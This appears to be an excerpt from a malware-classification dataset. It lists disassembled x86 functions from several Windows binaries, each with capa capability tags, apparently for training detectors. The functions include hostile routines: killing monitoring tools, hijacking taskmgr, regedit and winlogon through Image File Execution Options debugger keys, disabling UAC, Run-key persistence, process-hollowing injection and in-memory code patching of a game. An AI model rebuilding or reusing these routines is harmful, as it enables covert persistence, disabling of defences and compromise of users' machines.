joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402a00
Capabilities:
Create thread
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
push ebx
push esi
push edi
push 0
push 0
push 0
push 0x402240
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, 0x41a1b8
call fcn.00402490
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp eax, 0xffffffff
je 0x402a48
push eax
push 0
push 1
call esi
push 0
push eax
call ebx
mov edi, 0x41a1c4
call fcn.00402490
cmp eax, 0xffffffff
je 0x402a63
push eax
push 0
push 1
call esi
push 0
push eax
call ebx
mov edi, str.perfmon.exe
call fcn.00402490
cmp eax, 0xffffffff
je 0x402a7e
push eax
push 0
push 1
call esi
push 0
push eax
call ebx
mov edi, 0x41a1e0
call fcn.00402490
cmp eax, 0xffffffff
je 0x402a99
push eax
push 0
push 1
call esi
push 0
push eax
call ebx
mov edi, str.powershell.exe
call fcn.00402490
cmp eax, 0xffffffff
je 0x402ab4
push eax
push 0
push 1
call esi
push 0
push eax
call ebx
lea eax, [esp + 0x10]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], str.winlogon.exelogonui.exe
mov dword [esp + 0x18], str.taskmgr.exe
mov dword [esp + 0x1c], str.msconfig.exe
mov dword [esp + 0x20], str.explorer.exe
mov dword [esp + 0x24], str.shutdown.exe
mov dword [esp + 0x28], str.taskkill.exe
mov dword [esp + 0x2c], str.mmc.exeregedit.execmd.exe
xor esi, esi
nop
mov edx, dword [esp + esi*4 + 0x14]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0xc]
push ecx
push edx
push eax
call ebx
push str.rekt.exe
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0xc]
add eax, eax
push eax
push str.rekt.exe
push 1
push 0
push str.Debugger
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esp + 0xc]
push edx
call edi
inc esi
cmp esi, 7
jb 0x402b10
mov eax, dword [esp + 0x10]
push eax
call edi
call fcn.004029c0
int3
Function at 0x402b70
Capabilities:
Copy file
Disable system features via registry on windows
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1414
call fcn.00413ef0
mov eax, dword [0x41d490]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0xe
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
lea edi, [ebp - 0x80]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1410]
push eax
lea ecx, [ebp - 0x80]
push ecx
push 0x80000002
movsw word es:[edi], word [esi]
mov dword [ebp - 0x140c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov eax, dword [ebp - 0x1410]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x140c]
push edx
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push eax
call ebx
mov edx, dword [ebp - 0x1410]
push 4
lea ecx, [ebp - 0x140c]
push ecx
push 4
push 0
push str.EnableLUA
push edx
call ebx
mov ecx, 0xb
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
push 0x1388
lea eax, [ebp - 0x1408]
push eax
push 0
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, dword [0x41a438]
mov eax, dword [0x41a43c]
mov ecx, dword [0x41a434]
mov dword [ebp - 0x10], edx
push 0
lea edx, [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], ecx
mov ecx, dword [0x41a440]
push edx
lea eax, [ebp - 0x1408]
push eax
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1414]
push ecx
lea edx, [ebp - 0x44]
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, dword [ebp - 0x1414]
push 0x10
lea eax, [ebp - 0x14]
push eax
push 1
push 0
push str.WindowsCheck
push ecx
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407166
mov esp, ebp
pop ebp
ret
Function at 0x4036b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
lea eax, [ebp - 8]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x1c], str.winlogon.exe
mov dword [ebp - 0x18], str.logonui.exe
mov dword [ebp - 0x14], str.explorer.exe
mov dword [ebp - 0x10], str.shutdown.exe
mov dword [ebp - 0xc], str.mmc.exe
xor esi, esi
mov edi, edi
mov edx, dword [ebp + esi*4 - 0x1c]
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call ebx
push str.C:wincheck.exe
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 4]
add eax, eax
push eax
push str.C:wincheck.exe
push 1
push 0
push str.Debugger
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 4]
push edx
call edi
inc esi
cmp esi, 5
jb 0x403700
mov eax, dword [ebp - 8]
push eax
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403750
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
lea eax, [ebp - 8]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x18], str.taskmgr.exe
mov dword [ebp - 0x14], str.msconfig.exe
mov dword [ebp - 0x10], str.taskkill.exe
mov dword [ebp - 0xc], str.cmd.exe
xor esi, esi
jmp 0x4037a0
mov edx, dword [ebp + esi*4 - 0x18]
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call ebx
push str.C:wincheck.exe
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 4]
add eax, eax
push eax
push str.C:wincheck.exe
push 1
push 0
push str.Debugger
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 4]
push edx
call edi
inc esi
cmp esi, 4
jb 0x4037a0
mov eax, dword [ebp - 8]
push eax
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4052e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4163c8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x41d490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x405471
cmp byte [ebx + 0x49], 0
je 0x405471
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x405465
lea esi, [ebp - 0x2c]
call fcn.00404f20
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x405353
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x1c]
add edi, edx
push edi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x40538c
dec eax
je 0x405390
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x40546c
call fcn.00403bf0
xor al, al
jmp 0x405473
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4053a0
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x4053cd
cmp edi, 0x10
jae 0x4053af
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00408501
add esp, 0x10
cmp esi, eax
jne 0x40545d
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x405469
test esi, esi
jne 0x405347
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40548e
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40548e
cmp edi, esi
jae 0x405446
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00405ae0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x405347
mov ecx, eax
cmp edi, 0x10
jae 0x405422
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40543d
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x405341
test esi, esi
jne 0x405418
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x405455
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x405341
lea ecx, [ebp - 0x2c]
call fcn.00403bf0
xor al, al
jmp 0x405473
lea ecx, [ebp - 0x2c]
call fcn.00403bf0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00407166
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.00406bd1
int3
Function at 0x4058a0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4162bb
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x41d490]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00406d25
push 4
mov dword [ebp - 4], 0
call fcn.004086fe
mov edi, eax
add esp, 4
test edi, edi
je 0x40591c
call fcn.00406b20
mov dword [edi], eax
call fcn.004068df
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00406ce6
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x405912
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00406d0e
jmp 0x40591e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x407166
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41d490]
jne 0x407170
repz ret
jmp fcn.0040b860
Function at 0x4144a7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41d490]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040e44a
and dword [ebp - 0x14], 0
cmp dword [0x41f284], 0
mov dword [ebp - 0x18], eax
jne 0x41455a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x414602
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x414602
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41f284], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41f288], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41f28c], eax
call edi
push eax
call esi
mov dword [0x41f294], eax
test eax, eax
je 0x41455a
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41f290], eax
mov eax, dword [0x41f290]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4145b3
cmp dword [0x41f294], ecx
je 0x4145b3
push eax
call esi
push dword [0x41f294]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4145b3
test ebx, ebx
je 0x4145b3
call edi
test eax, eax
je 0x4145aa
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4145aa
test byte [ebp - 8], 1
jne 0x4145b3
or dword [ebp + 0x10], 0x200000
jmp 0x4145e6
mov eax, dword [0x41f288]
cmp eax, dword [ebp - 0x18]
je 0x4145e6
push eax
call esi
test eax, eax
je 0x4145e6
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4145e6
mov eax, dword [0x41f28c]
cmp eax, dword [ebp - 0x18]
je 0x4145e6
push eax
call esi
test eax, eax
je 0x4145e6
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41f284]
call esi
test eax, eax
je 0x414602
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x414604
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407166
leave
ret
Function at 0x10001500
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
je 0x10001512
dec eax
je 0x1000152e
mov al, 1
pop ebp
ret 0xc
push 0
push 0
push 0x10001340
call fcn.10002b4c
add esp, 0xc
push 0x10001340
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.10001440
mov al, 1
pop ebp
ret 0xc

Function at 0x100019c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1001673c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
mov edi, ecx
push str._LoadAlternateScript_FL2GameData__QAEHH_Z
push edi
call esi
mov edx, 0x10001ac0
mov ecx, eax
call fcn.10001e90
push str._HairExDataLoad_FL2GameData__QAEHH_Z
push edi
mov dword [0x10018824], eax
call esi
push str._HairExDataNameLoad_FL2GameData__QAEHH_Z
push edi
mov dword [0x1001883c], eax
call esi
push str._FaceExDataLoad_FL2GameData__QAEHH_Z
push edi
mov dword [0x10018828], eax
call esi
push str._FaceExDataNameLoad_FL2GameData__QAEHH_Z
push edi
mov dword [0x10018838], eax
call esi
push str._ColorExDataLoad_FL2GameData__QAEHH_Z
push edi
mov dword [0x1001882c], eax
call esi
push str._ColorExDataNameLoad_FL2GameData__QAEHH_Z
push edi
mov dword [0x10018844], eax
call esi
push str._ProductDataLoad_FL2GameData__QAEHH_Z
push edi
mov dword [0x10018830], eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
add edi, 0x68d23a
mov dword [0x10018834], eax
lea eax, [ebp - 0xc]
push eax
push 0x40
push 1
push edi
push dword [0x1001888c]
mov byte [ebp - 8], 3
mov dword [ebp - 0xc], 0x40
call esi
push 0
push 1
lea eax, [ebp - 8]
push eax
push edi
push dword [0x1001888c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 1
push edi
push dword [0x1001888c]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push 1
push edi
push dword [0x1001888c]
call esi
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.100024bd
mov esp, ebp
pop ebp
ret

Function at 0x10001e30
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x100188b4]
test al, 1
jne 0x10001e5f
push 0x40
push 0x1000
push 0x1000
or eax, 1
push 0
mov dword [0x100188b4], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
mov dword [0x100188b0], edx
jmp 0x10001e65
mov edx, dword [0x100188b0]
push esi
lea esi, [edx + 0x1000]
cmp edx, esi
je 0x10001e83
lea ecx, [edx + 0x1c]
call fcn.10001e20
test eax, eax
je 0x10001e87
add edx, 0x20
cmp edx, esi
jne 0x10001e70
xor eax, eax
pop esi
ret
mov eax, edx
pop esi
ret
Function at 0x10001e90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x1001673c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, edx
push edi
mov dword [ebp - 0x10], ebx
mov edi, ecx
call fcn.10001e30
mov edx, eax
xor esi, esi
mov dword [ebp - 0xc], edx
lea ecx, [esi + edi]
call fcn.10001be0
add esi, eax
cmp esi, 5
jl 0x10001eb6
test esi, esi
jle 0x10001ee3
mov ebx, edi
mov ecx, edx
sub ebx, edx
mov edx, esi
mov al, byte [ebx + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
dec edx
jne 0x10001ed1
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
lea ecx, [esi + edx]
lea eax, [edi - 5]
mov byte [ecx], 0xe9
sub esi, ecx
add eax, esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ecx + 1], eax
lea eax, [ebp - 8]
push eax
push 0x40
push 5
push edi
call esi
lea eax, [ebp - 8]
mov byte [edi], 0xe9
push eax
push dword [ebp - 8]
sub ebx, edi
push 5
sub ebx, 5
push edi
mov dword [edi + 1], ebx
call esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100024bd
mov esp, ebp
pop ebp
ret

Function at 0x10002050
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1001673c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, ecx
push str._SetInfo_FNMagicInfo__QAEXHHHPAUFL2MagicSkillData__MMPAVAActor__MABUFRotator__2HPAV__TArray_H__HPAV__TArray_UFVector_____Z
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0x10002100
mov ecx, eax
call fcn.10001e90
mov dword [0x10018854], eax
lea edi, [esi + 0x600ebd]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
push dword [0x1001888c]
mov dword [ebp - 0xc], 0x10014bf8
mov dword [ebp - 8], 0x40
call esi
push 0
push 4
lea eax, [ebp - 0xc]
push eax
push edi
push dword [0x1001888c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 4
push edi
push dword [0x1001888c]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push edi
push dword [0x1001888c]
call esi
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.100024bd
mov esp, ebp
pop ebp
ret
Function at 0x4011ef
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea4
mov dword [ebp - 4], 0
push 0x403244
push 0x403200
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push str.wordWhacky_RXA_001.exe
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x401287
push 0x40
push 0x101000
push 0x286
push 0
push dword [0x403244]
call sub.kernel32.dll_VirtualAllocEx
push eax
push 0
push 0x286
push section..text
push eax
push dword [0x403244]
call sub.kernel32.dll_WriteProcessMemory
pop eax
push dword [0x4010e5]
push 0
push 0
push eax
push 0
push 0
push dword [0x403244]
call sub.kernel32.dll_CreateRemoteThread
push 0x7d0
call sub.kernel32.dll_Sleep
push dword [0x403248]
call sub.kernel32.dll_ResumeThread
leave
ret
Function at 0x402ee9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x47c440]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x402f52
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.004022bb
lea eax, [esp + 0x14]
push 0x235
push eax
call fcn.00404c86
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x402f6a
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403eb0
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x402f1a
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00406b4c
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403eb0
jmp 0x402f54

Function at 0x405623
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
mov ebp, ecx
test esi, esi
jg 0x405643
jl 0x40563a
test ebx, ebx
jne 0x405643
xor eax, eax
xor edx, edx
jmp 0x405706
cmp dword [ebp + 0x38], 0
je 0x405659
push esi
push ebx
push dword [esp + 0x18]
call fcn.0040570c
jmp 0x405706
mov eax, dword [ebp + 0x1c]
push edi
mov edi, ebx
mov ecx, dword [eax]
test ecx, ecx
je 0x40569d
mov eax, dword [ebp + 0x2c]
cmp dword [eax], 0
jbe 0x40569d
cmp dword [eax], ebx
mov esi, ebx
mov edi, dword [esp + 0x14]
cmovb esi, dword [eax]
push esi
push ecx
push edi
call fcn.0040411d
mov eax, dword [ebp + 0x2c]
add edi, esi
mov dword [esp + 0x20], edi
add esp, 0xc
mov edi, ebx
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebp + 0x1c]
add dword [eax], esi
mov esi, dword [esp + 0x1c]
jmp 0x4056a5
mov eax, dword [esp + 0x14]
mov dword [esp + 0x14], eax
cmp dword [ebp + 0x4c], 0
je 0x4056fc
mov ecx, ebp
call fcn.00403d87
mov ecx, dword [esp + 0x14]
mov edx, edi
mov eax, 0xfff
cmp edi, eax
jbe 0x4056e7
push dword [ebp + 0x4c]
push eax
push 1
push ecx
call fcn.0040c49c
mov ecx, dword [esp + 0x24]
sub edi, eax
add ecx, eax
add esp, 0x10
mov dword [esp + 0x14], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x4056fc
jmp 0x4056b8
test edx, edx
je 0x4056fc
push dword [ebp + 0x4c]
push edi
push 1
push ecx
call fcn.0040c49c
add esp, 0x10
sub edi, eax
sub ebx, edi
mov eax, ebx
sbb esi, 0
mov edx, esi
pop edi
pop esi
pop ebp
pop ebx
ret 0xc